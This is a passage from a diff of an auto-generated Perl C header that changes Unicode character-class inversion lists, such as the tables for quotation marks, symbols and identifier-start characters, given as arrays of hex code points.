0x1D49E, + 0x1D4A0, + 0x1D4A2, + 0x1D4A3, + 0x1D4A5, + 0x1D4A7, + 0x1D4A9, + 0x1D4AD, + 0x1D4AE, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, + 0x1D506, + 0x1D507, + 0x1D50B, + 0x1D50D, + 0x1D515, + 0x1D516, + 0x1D51D, + 0x1D51E, + 0x1D53A, + 0x1D53B, + 0x1D53F, + 0x1D540, + 0x1D545, + 0x1D546, + 0x1D547, + 0x1D54A, + 0x1D551, + 0x1D552, + 0x1D6A6, + 0x1D6A8, + 0x1D6C1, + 0x1D6C2, + 0x1D6DB, + 0x1D6DC, + 0x1D6FB, + 0x1D6FC, + 0x1D715, + 0x1D716, + 0x1D735, + 0x1D736, + 0x1D74F, + 0x1D750, + 0x1D76F, + 0x1D770, + 0x1D789, + 0x1D78A, + 0x1D7A9, + 0x1D7AA, + 0x1D7C3, + 0x1D7C4, + 0x1D7CC, + 0x1D7CE, + 0x1D800, + 0x1DA00, + 0x1DA37, + 0x1DA3B, + 0x1DA6D, + 0x1DA75, + 0x1DA76, + 0x1DA84, + 0x1DA85, + 0x1DA9B, + 0x1DAA0, + 0x1DAA1, + 0x1DAB0, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E800, + 0x1E8C5, + 0x1E8D0, + 0x1E8D7, + 0x1E900, + 0x1E94B, + 0x1E950, + 0x1E95A, + 0x1EE00, + 0x1EE04, + 0x1EE05, + 0x1EE20, + 0x1EE21, + 0x1EE23, + 0x1EE24, + 0x1EE25, + 0x1EE27, + 0x1EE28, + 0x1EE29, + 0x1EE33, + 0x1EE34, + 0x1EE38, + 0x1EE39, + 0x1EE3A, + 0x1EE3B, + 0x1EE3C, + 0x1EE42, + 0x1EE43, + 0x1EE47, + 0x1EE48, + 0x1EE49, + 0x1EE4A, + 0x1EE4B, + 0x1EE4C, + 0x1EE4D, + 0x1EE50, + 0x1EE51, + 0x1EE53, + 0x1EE54, + 0x1EE55, + 0x1EE57, + 0x1EE58, + 0x1EE59, + 0x1EE5A, + 0x1EE5B, + 0x1EE5C, + 0x1EE5D, + 0x1EE5E, + 0x1EE5F, + 0x1EE60, + 0x1EE61, + 0x1EE63, + 0x1EE64, + 0x1EE65, + 0x1EE67, + 0x1EE6B, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, + 0x20000, + 0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E, 0xE0100, 0xE01F0 }; -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_QMARK_invlist[] = { /* for ASCII/Latin1 */ - 27, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x22, - 0x23, - 0x27, - 0x28, - 0xAB, - 0xAC, - 0xBB, - 0xBC, - 0x2018, - 0x2020, - 0x2039, - 0x203B, - 0x2E42, - 0x2E43, - 0x300C, - 0x3010, - 0x301D, - 0x3020, - 0xFE41, - 0xFE45, - 0xFF02, - 0xFF03, - 0xFF07, - 0xFF08, - 0xFF62, - 0xFF64 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_QMARK_invlist[] = { /* for EBCDIC 1047 */ - 25, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x7D, - 0x7E, - 0x7F, - 0x80, - 0x8A, - 0x8C, - 0x2018, - 0x2020, - 0x2039, - 0x203B, - 0x2E42, - 0x2E43, - 0x300C, - 0x3010, - 0x301D, - 0x3020, - 0xFE41, - 0xFE45, - 0xFF02, - 0xFF03, - 0xFF07, - 0xFF08, - 0xFF62, - 0xFF64 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_QMARK_invlist[] = { /* for EBCDIC 037 */ - 25, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x7D, - 0x7E, - 0x7F, - 0x80, - 0x8A, - 0x8C, - 0x2018, - 0x2020, - 0x2039, - 0x203B, - 0x2E42, - 0x2E43, - 0x300C, - 0x3010, - 0x301D, - 0x3020, - 0xFE41, - 0xFE45, - 0xFF02, - 0xFF03, - 0xFF07, - 0xFF08, - 0xFF62, - 0xFF64 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_RADICAL_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6 -}; - -static const UV PL_RI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F1E6, - 0x1F200 -}; - -static const UV PL_RJNG_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA930, - 0xA954, - 0xA95F, - 0xA960 -}; - -static const UV PL_RUMI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10E60, - 0x10E80 -}; - -static const UV PL_RUNR_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_S_invlist[] = { /* for ASCII/Latin1 */ - 435, /* Number of elements */ +static const UV _Perl_IDStart_invlist[] = { /* for ASCII/Latin1 */ + 1161, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x24, - 0x25, - 0x2B, - 0x2C, - 0x3C, - 0x3F, - 0x5E, + 0x41, + 0x5B, 0x5F, 0x60, 0x61, - 0x7C, - 0x7D, - 0x7E, - 0x7F, - 0xA2, - 0xA7, - 0xA8, + 0x7B, 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xB2, - 0xB4, + 0xAB, 0xB5, - 0xB8, - 0xB9, + 0xB6, + 0xBA, + 0xBB, + 0xC0, 0xD7, 0xD8, 0xF7, @@ -327201,108 +6667,490 @@ static const UV PL_S_invlist[] = { /* for ASCII/Latin1 */ 0x2ED, 0x2EE, 0x2EF, - 0x300, + 0x370, 0x375, 0x376, - 0x384, + 0x378, + 0x37B, + 0x37E, + 0x37F, + 0x380, 0x386, + 0x387, + 0x388, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x3A2, + 0x3A3, 0x3F6, 0x3F7, 0x482, - 0x483, - 0x58D, - 0x590, - 0x606, - 0x609, - 0x60B, - 0x60C, - 0x60E, - 0x610, - 0x6DE, - 0x6DF, - 0x6E9, - 0x6EA, + 0x48A, + 0x530, + 0x531, + 0x557, + 0x559, + 0x55A, + 0x561, + 0x588, + 0x5D0, + 0x5EB, + 0x5F0, + 0x5F3, + 0x620, + 0x64B, + 0x66E, + 0x670, + 0x671, + 0x6D4, + 0x6D5, + 0x6D6, + 0x6E5, + 0x6E7, + 0x6EE, + 0x6F0, + 0x6FA, 0x6FD, 0x6FF, + 0x700, + 0x710, + 0x711, + 0x712, + 0x730, + 0x74D, + 0x7A6, + 0x7B1, + 0x7B2, + 0x7CA, + 0x7EB, + 0x7F4, 0x7F6, - 0x7F7, + 0x7FA, + 0x7FB, + 0x800, + 0x816, + 0x81A, + 0x81B, + 0x824, + 0x825, + 0x828, + 0x829, + 0x840, + 0x859, + 0x8A0, + 0x8B5, + 0x8B6, + 0x8BE, + 0x904, + 0x93A, + 0x93D, + 0x93E, + 0x950, + 0x951, + 0x958, + 0x962, + 0x971, + 0x981, + 0x985, + 0x98D, + 0x98F, + 0x991, + 0x993, + 0x9A9, + 0x9AA, + 0x9B1, + 0x9B2, + 0x9B3, + 0x9B6, + 0x9BA, + 0x9BD, + 0x9BE, + 0x9CE, + 0x9CF, + 0x9DC, + 0x9DE, + 0x9DF, + 0x9E2, + 0x9F0, 0x9F2, - 0x9F4, - 0x9FA, - 0x9FC, - 0xAF1, - 0xAF2, - 0xB70, + 0xA05, + 0xA0B, + 0xA0F, + 0xA11, + 0xA13, + 0xA29, + 0xA2A, + 0xA31, + 0xA32, + 0xA34, + 0xA35, + 0xA37, + 0xA38, + 0xA3A, + 0xA59, + 0xA5D, + 0xA5E, + 0xA5F, + 0xA72, + 0xA75, + 0xA85, + 0xA8E, + 0xA8F, + 0xA92, + 0xA93, + 0xAA9, + 0xAAA, + 0xAB1, + 0xAB2, + 0xAB4, + 0xAB5, + 0xABA, + 0xABD, + 0xABE, + 0xAD0, + 0xAD1, + 0xAE0, + 0xAE2, + 0xAF9, + 0xAFA, + 0xB05, + 0xB0D, + 0xB0F, + 0xB11, + 0xB13, + 0xB29, + 0xB2A, + 0xB31, + 0xB32, + 0xB34, + 0xB35, + 0xB3A, + 0xB3D, + 0xB3E, + 0xB5C, + 0xB5E, + 0xB5F, + 0xB62, 0xB71, - 0xBF3, - 0xBFB, - 0xC7F, + 0xB72, + 0xB83, + 0xB84, + 0xB85, + 0xB8B, + 0xB8E, + 0xB91, + 0xB92, + 0xB96, + 0xB99, + 0xB9B, + 0xB9C, + 0xB9D, + 0xB9E, + 0xBA0, + 0xBA3, + 0xBA5, + 0xBA8, + 0xBAB, + 0xBAE, + 0xBBA, + 0xBD0, + 0xBD1, + 0xC05, + 0xC0D, + 0xC0E, + 0xC11, + 0xC12, + 0xC29, + 0xC2A, + 0xC3A, + 0xC3D, + 0xC3E, + 0xC58, + 0xC5B, + 0xC60, + 0xC62, 0xC80, + 0xC81, + 0xC85, + 0xC8D, + 0xC8E, + 0xC91, + 0xC92, + 0xCA9, + 0xCAA, + 0xCB4, + 0xCB5, + 0xCBA, + 0xCBD, + 0xCBE, + 0xCDE, + 0xCDF, + 0xCE0, + 0xCE2, + 0xCF1, + 0xCF3, + 0xD05, + 0xD0D, + 0xD0E, + 0xD11, + 0xD12, + 0xD3B, + 0xD3D, + 0xD3E, + 0xD4E, 0xD4F, - 0xD50, - 0xD79, + 0xD54, + 0xD57, + 0xD5F, + 0xD62, 0xD7A, - 0xE3F, + 0xD80, + 0xD85, + 0xD97, + 0xD9A, + 0xDB2, + 0xDB3, + 0xDBC, + 0xDBD, + 0xDBE, + 0xDC0, + 0xDC7, + 0xE01, + 0xE31, + 0xE32, + 0xE33, 0xE40, + 0xE47, + 0xE81, + 0xE83, + 0xE84, + 0xE85, + 0xE87, + 0xE89, + 0xE8A, + 0xE8B, + 0xE8D, + 0xE8E, + 0xE94, + 0xE98, + 0xE99, + 0xEA0, + 0xEA1, + 0xEA4, + 0xEA5, + 0xEA6, + 0xEA7, + 0xEA8, + 0xEAA, + 0xEAC, + 0xEAD, + 0xEB1, + 0xEB2, + 0xEB3, + 0xEBD, + 0xEBE, + 0xEC0, + 0xEC5, + 0xEC6, + 0xEC7, + 0xEDC, + 0xEE0, + 0xF00, 0xF01, - 0xF04, - 0xF13, - 0xF14, - 0xF15, - 0xF18, - 0xF1A, - 0xF20, - 0xF34, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xFBE, - 0xFC6, - 0xFC7, - 0xFCD, - 0xFCE, - 0xFD0, - 0xFD5, - 0xFD9, - 0x109E, + 0xF40, + 0xF48, + 0xF49, + 0xF6D, + 0xF88, + 0xF8D, + 0x1000, + 0x102B, + 0x103F, + 0x1040, + 0x1050, + 0x1056, + 0x105A, + 0x105E, + 0x1061, + 0x1062, + 0x1065, + 0x1067, + 0x106E, + 0x1071, + 0x1075, + 0x1082, + 0x108E, + 0x108F, 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x10D0, + 0x10FB, + 0x10FC, + 0x1249, + 0x124A, + 0x124E, + 0x1250, + 0x1257, + 0x1258, + 0x1259, + 0x125A, + 0x125E, + 0x1260, + 0x1289, + 0x128A, + 0x128E, + 0x1290, + 0x12B1, + 0x12B2, + 0x12B6, + 0x12B8, + 0x12BF, + 0x12C0, + 0x12C1, + 0x12C2, + 0x12C6, + 0x12C8, + 0x12D7, + 0x12D8, + 0x1311, + 0x1312, + 0x1316, + 0x1318, + 0x135B, + 0x1380, 0x1390, - 0x139A, - 0x17DB, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, + 0x1401, + 0x166D, + 0x166F, + 0x1680, + 0x1681, + 0x169B, + 0x16A0, + 0x16EB, + 0x16EE, + 0x16F9, + 0x1700, + 0x170D, + 0x170E, + 0x1712, + 0x1720, + 0x1732, + 0x1740, + 0x1752, + 0x1760, + 0x176D, + 0x176E, + 0x1771, + 0x1780, + 0x17B4, + 0x17D7, + 0x17D8, 0x17DC, - 0x1940, - 0x1941, - 0x19DE, + 0x17DD, + 0x1820, + 0x1878, + 0x1880, + 0x18A9, + 0x18AA, + 0x18AB, + 0x18B0, + 0x18F6, + 0x1900, + 0x191F, + 0x1950, + 0x196E, + 0x1970, + 0x1975, + 0x1980, + 0x19AC, + 0x19B0, + 0x19CA, 0x1A00, - 0x1B61, - 0x1B6B, - 0x1B74, - 0x1B7D, + 0x1A17, + 0x1A20, + 0x1A55, + 0x1AA7, + 0x1AA8, + 0x1B05, + 0x1B34, + 0x1B45, + 0x1B4C, + 0x1B83, + 0x1BA1, + 0x1BAE, + 0x1BB0, + 0x1BBA, + 0x1BE6, + 0x1C00, + 0x1C24, + 0x1C4D, + 0x1C50, + 0x1C5A, + 0x1C7E, + 0x1C80, + 0x1C89, + 0x1CE9, + 0x1CED, + 0x1CEE, + 0x1CF2, + 0x1CF5, + 0x1CF7, + 0x1D00, + 0x1DC0, + 0x1E00, + 0x1F16, + 0x1F18, + 0x1F1E, + 0x1F20, + 0x1F46, + 0x1F48, + 0x1F4E, + 0x1F50, + 0x1F58, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F7E, + 0x1F80, + 0x1FB5, + 0x1FB6, 0x1FBD, 0x1FBE, 0x1FBF, 0x1FC2, + 0x1FC5, + 0x1FC6, 0x1FCD, 0x1FD0, - 0x1FDD, + 0x1FD4, + 0x1FD6, + 0x1FDC, 0x1FE0, 0x1FED, - 0x1FF0, + 0x1FF2, + 0x1FF5, + 0x1FF6, 0x1FFD, - 0x1FFF, - 0x2044, - 0x2045, - 0x2052, - 0x2053, - 0x207A, - 0x207D, - 0x208A, - 0x208D, - 0x20A0, - 0x20C0, - 0x2100, + 0x2071, + 0x2072, + 0x207F, + 0x2080, + 0x2090, + 0x209D, 0x2102, 0x2103, 0x2107, @@ -327329,179 +7177,529 @@ static const UV PL_S_invlist[] = { /* for ASCII/Latin1 */ 0x214A, 0x214E, 0x214F, - 0x2150, - 0x218A, - 0x218C, - 0x2190, - 0x2308, - 0x230C, - 0x2329, - 0x232B, - 0x2427, - 0x2440, - 0x244B, - 0x249C, - 0x24EA, - 0x2500, - 0x2768, - 0x2794, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, + 0x2160, + 0x2189, + 0x2C00, + 0x2C2F, + 0x2C30, + 0x2C5F, + 0x2C60, 0x2CE5, 0x2CEB, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3004, + 0x2CEF, + 0x2CF2, + 0x2CF4, + 0x2D00, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0x2D30, + 0x2D68, + 0x2D6F, + 0x2D70, + 0x2D80, + 0x2D97, + 0x2DA0, + 0x2DA7, + 0x2DA8, + 0x2DAF, + 0x2DB0, + 0x2DB7, + 0x2DB8, + 0x2DBF, + 0x2DC0, + 0x2DC7, + 0x2DC8, + 0x2DCF, + 0x2DD0, + 0x2DD7, + 0x2DD8, + 0x2DDF, 0x3005, - 0x3012, - 0x3014, - 0x3020, + 0x3008, 0x3021, + 0x302A, + 0x3031, 0x3036, 0x3038, - 0x303E, - 0x3040, - 0x309B, + 0x303D, + 0x3041, + 0x3097, 0x309D, - 0x3190, - 0x3192, - 0x3196, + 0x30A0, + 0x30A1, + 0x30FB, + 0x30FC, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, 0x31A0, - 0x31C0, - 0x31E4, + 0x31BB, + 0x31F0, 0x3200, - 0x321F, - 0x322A, - 0x3248, - 0x3250, - 0x3251, - 0x3260, - 0x3280, - 0x328A, - 0x32B1, - 0x32C0, - 0x32FF, - 0x3300, 0x3400, - 0x4DC0, + 0x4DB6, 0x4E00, - 0xA490, - 0xA4C7, - 0xA700, + 0x9FD6, + 0xA000, + 0xA48D, + 0xA4D0, + 0xA4FE, + 0xA500, + 0xA60D, + 0xA610, + 0xA620, + 0xA62A, + 0xA62C, + 0xA640, + 0xA66F, + 0xA67F, + 0xA69E, + 0xA6A0, + 0xA6F0, 0xA717, 0xA720, 0xA722, 0xA789, 0xA78B, - 0xA828, - 0xA82C, - 0xA836, - 0xA83A, + 0xA7AF, + 0xA7B0, + 0xA7B8, + 0xA7F7, + 0xA802, + 0xA803, + 0xA806, + 0xA807, + 0xA80B, + 0xA80C, + 0xA823, + 0xA840, + 0xA874, + 0xA882, + 0xA8B4, + 0xA8F2, + 0xA8F8, + 0xA8FB, + 0xA8FC, + 0xA8FD, + 0xA8FE, + 0xA90A, + 0xA926, + 0xA930, + 0xA947, + 0xA960, + 0xA97D, + 0xA984, + 0xA9B3, + 0xA9CF, + 0xA9D0, + 0xA9E0, + 0xA9E5, + 0xA9E6, + 0xA9F0, + 0xA9FA, + 0xA9FF, + 0xAA00, + 0xAA29, + 0xAA40, + 0xAA43, + 0xAA44, + 0xAA4C, + 0xAA60, 0xAA77, 0xAA7A, + 0xAA7B, + 0xAA7E, + 0xAAB0, + 0xAAB1, + 0xAAB2, + 0xAAB5, + 0xAAB7, + 0xAAB9, + 0xAABE, + 0xAAC0, + 0xAAC1, + 0xAAC2, + 0xAAC3, + 0xAADB, + 0xAADE, + 0xAAE0, + 0xAAEB, + 0xAAF2, + 0xAAF5, + 0xAB01, + 0xAB07, + 0xAB09, + 0xAB0F, + 0xAB11, + 0xAB17, + 0xAB20, + 0xAB27, + 0xAB28, + 0xAB2F, + 0xAB30, 0xAB5B, 0xAB5C, + 0xAB66, + 0xAB70, + 0xABE3, + 0xAC00, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, + 0xF900, + 0xFA6E, + 0xFA70, + 0xFADA, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFB1D, + 0xFB1E, + 0xFB1F, 0xFB29, 0xFB2A, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, 0xFBB2, - 0xFBC2, - 0xFDFC, - 0xFDFE, - 0xFE62, - 0xFE63, - 0xFE64, - 0xFE67, - 0xFE69, - 0xFE6A, - 0xFF04, - 0xFF05, - 0xFF0B, - 0xFF0C, - 0xFF1C, - 0xFF1F, - 0xFF3E, - 0xFF3F, - 0xFF40, + 0xFBD3, + 0xFC5E, + 0xFC64, + 0xFD3E, + 0xFD50, + 0xFD90, + 0xFD92, + 0xFDC8, + 0xFDF0, + 0xFDFA, + 0xFE71, + 0xFE72, + 0xFE73, + 0xFE74, + 0xFE77, + 0xFE78, + 0xFE79, + 0xFE7A, + 0xFE7B, + 0xFE7C, + 0xFE7D, + 0xFE7E, + 0xFE7F, + 0xFEFD, + 0xFF21, + 0xFF3B, 0xFF41, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFFC, - 0xFFFE, - 0x10137, + 0xFF5B, + 0xFF66, + 0xFF9E, + 0xFFA0, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, + 0x10000, + 0x1000C, + 0x1000D, + 0x10027, + 0x10028, + 0x1003B, + 0x1003C, + 0x1003E, + 0x1003F, + 0x1004E, + 0x10050, + 0x1005E, + 0x10080, + 0x100FB, 0x10140, - 0x10179, - 0x1018A, - 0x1018C, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FD, + 0x10175, + 0x10280, + 0x1029D, + 0x102A0, + 0x102D1, + 0x10300, + 0x10320, + 0x10330, + 0x1034B, + 0x10350, + 0x10376, + 0x10380, + 0x1039E, + 0x103A0, + 0x103C4, + 0x103C8, + 0x103D0, + 0x103D1, + 0x103D6, + 0x10400, + 0x1049E, + 0x104B0, + 0x104D4, + 0x104D8, + 0x104FC, + 0x10500, + 0x10528, + 0x10530, + 0x10564, + 0x10600, + 0x10737, + 0x10740, + 0x10756, + 0x10760, + 0x10768, + 0x10800, + 0x10806, + 0x10808, + 0x10809, + 0x1080A, + 0x10836, + 0x10837, + 0x10839, + 0x1083C, + 0x1083D, + 0x1083F, + 0x10856, + 0x10860, 0x10877, - 0x10879, + 0x10880, + 0x1089F, + 0x108E0, + 0x108F3, + 0x108F4, + 0x108F6, + 0x10900, + 0x10916, + 0x10920, + 0x1093A, + 0x10980, + 0x109B8, + 0x109BE, + 0x109C0, + 0x10A00, + 0x10A01, + 0x10A10, + 0x10A14, + 0x10A15, + 0x10A18, + 0x10A19, + 0x10A34, + 0x10A60, + 0x10A7D, + 0x10A80, + 0x10A9D, + 0x10AC0, 0x10AC8, 0x10AC9, - 0x1173F, - 0x11740, - 0x16B3C, + 0x10AE5, + 0x10B00, + 0x10B36, + 0x10B40, + 0x10B56, + 0x10B60, + 0x10B73, + 0x10B80, + 0x10B92, + 0x10C00, + 0x10C49, + 0x10C80, + 0x10CB3, + 0x10CC0, + 0x10CF3, + 0x11003, + 0x11038, + 0x11083, + 0x110B0, + 0x110D0, + 0x110E9, + 0x11103, + 0x11127, + 0x11150, + 0x11173, + 0x11176, + 0x11177, + 0x11183, + 0x111B3, + 0x111C1, + 0x111C5, + 0x111DA, + 0x111DB, + 0x111DC, + 0x111DD, + 0x11200, + 0x11212, + 0x11213, + 0x1122C, + 0x11280, + 0x11287, + 0x11288, + 0x11289, + 0x1128A, + 0x1128E, + 0x1128F, + 0x1129E, + 0x1129F, + 0x112A9, + 0x112B0, + 0x112DF, + 0x11305, + 0x1130D, + 0x1130F, + 0x11311, + 0x11313, + 0x11329, + 0x1132A, + 0x11331, + 0x11332, + 0x11334, + 0x11335, + 0x1133A, + 0x1133D, + 0x1133E, + 0x11350, + 0x11351, + 0x1135D, + 0x11362, + 0x11400, + 0x11435, + 0x11447, + 0x1144B, + 0x11480, + 0x114B0, + 0x114C4, + 0x114C6, + 0x114C7, + 0x114C8, + 0x11580, + 0x115AF, + 0x115D8, + 0x115DC, + 0x11600, + 0x11630, + 0x11644, + 0x11645, + 0x11680, + 0x116AB, + 0x11700, + 0x1171A, + 0x118A0, + 0x118E0, + 0x118FF, + 0x11900, + 0x11AC0, + 0x11AF9, + 0x11C00, + 0x11C09, + 0x11C0A, + 0x11C2F, + 0x11C40, + 0x11C41, + 0x11C72, + 0x11C90, + 0x12000, + 0x1239A, + 0x12400, + 0x1246F, + 0x12480, + 0x12544, + 0x13000, + 0x1342F, + 0x14400, + 0x14647, + 0x16800, + 0x16A39, + 0x16A40, + 0x16A5F, + 0x16AD0, + 0x16AEE, + 0x16B00, + 0x16B30, 0x16B40, - 0x16B45, - 0x16B46, - 0x1BC9C, - 0x1BC9D, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D1E9, - 0x1D200, - 0x1D242, - 0x1D245, - 0x1D246, - 0x1D300, - 0x1D357, + 0x16B44, + 0x16B63, + 0x16B78, + 0x16B7D, + 0x16B90, + 0x16F00, + 0x16F45, + 0x16F50, + 0x16F51, + 0x16F93, + 0x16FA0, + 0x16FE0, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, + 0x1B000, + 0x1B002, + 0x1BC00, + 0x1BC6B, + 0x1BC70, + 0x1BC7D, + 0x1BC80, + 0x1BC89, + 0x1BC90, + 0x1BC9A, + 0x1D400, + 0x1D455, + 0x1D456, + 0x1D49D, + 0x1D49E, + 0x1D4A0, + 0x1D4A2, + 0x1D4A3, + 0x1D4A5, + 0x1D4A7, + 0x1D4A9, + 0x1D4AD, + 0x1D4AE, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, + 0x1D506, + 0x1D507, + 0x1D50B, + 0x1D50D, + 0x1D515, + 0x1D516, + 0x1D51D, + 0x1D51E, + 0x1D53A, + 0x1D53B, + 0x1D53F, + 0x1D540, + 0x1D545, + 0x1D546, + 0x1D547, + 0x1D54A, + 0x1D551, + 0x1D552, + 0x1D6A6, + 0x1D6A8, 0x1D6C1, 0x1D6C2, 0x1D6DB, @@ -327522,307 +7720,844 @@ static const UV PL_S_invlist[] = { /* for ASCII/Latin1 */ 0x1D7AA, 0x1D7C3, 0x1D7C4, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA87, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7 + 0x1D7CC, + 0x1E800, + 0x1E8C5, + 0x1E900, + 0x1E944, + 0x1EE00, + 0x1EE04, + 0x1EE05, + 0x1EE20, + 0x1EE21, + 0x1EE23, + 0x1EE24, + 0x1EE25, + 0x1EE27, + 0x1EE28, + 0x1EE29, + 0x1EE33, + 0x1EE34, + 0x1EE38, + 0x1EE39, + 0x1EE3A, + 0x1EE3B, + 0x1EE3C, + 0x1EE42, + 0x1EE43, + 0x1EE47, + 0x1EE48, + 0x1EE49, + 0x1EE4A, + 0x1EE4B, + 0x1EE4C, + 0x1EE4D, + 0x1EE50, + 0x1EE51, + 0x1EE53, + 0x1EE54, + 0x1EE55, + 0x1EE57, + 0x1EE58, + 0x1EE59, + 0x1EE5A, + 0x1EE5B, + 0x1EE5C, + 0x1EE5D, + 0x1EE5E, + 0x1EE5F, + 0x1EE60, + 0x1EE61, + 0x1EE63, + 0x1EE64, + 0x1EE65, + 0x1EE67, + 0x1EE6B, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, + 0x20000, + 